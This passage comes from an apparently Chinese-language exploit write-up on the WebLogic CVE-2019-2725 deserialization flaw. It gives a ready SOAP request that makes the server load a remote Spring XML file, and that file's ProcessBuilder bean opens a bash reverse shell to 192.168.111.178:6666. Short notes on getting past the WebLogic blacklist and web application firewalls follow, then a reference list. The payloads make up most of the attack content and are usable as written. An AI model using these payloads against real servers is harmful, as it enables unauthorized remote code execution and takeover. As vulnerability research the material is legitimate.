 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void>
 <string>http://192.168.111.178:8000/poc.xml</string>
 </void></class>
 </java>
 </work:WorkContext>
 </soapenv:Header> <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
 
 | 
poc.xml:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
 <constructor-arg>
 <list>
 <value>cmd</value>
 <value>/c</value>
 <value><![CDATA[/bin/bash -i >& /dev/tcp/192.168.111.178/6666 0>&1]]></value>
 </list>
 </constructor-arg>
 </bean>
 </beans>
 
 | 

EventData
使用的是org.slf4j.ext.EventData,但只存在于12.1.3这个版本
看到这个类的构造方法

这里直接将传入的xml交给XMLDecoder处理
相当于经过了两次XMLdecode,所以外层用<class>绕过,内层直接标记为纯文本,绕过第一次过滤,第二次XMLdecode不经过WebLogic 黑名单
绕过waf:
第45篇:weblogic反序列化漏洞绕waf方法总结,2017-10271与2019-2725漏洞绕waf防护
参考:
Weblogic-CVE-2019-2725-通杀payload
WebLogic第二版 CNVD-C-2019-48814/CVE-2019-2725
weblogic wls9-async组件rce漏洞分析
CVE-2019-2725 二次反序列化jndi注入分析
WebLogic RCE(CVE-2019-2725)漏洞之旅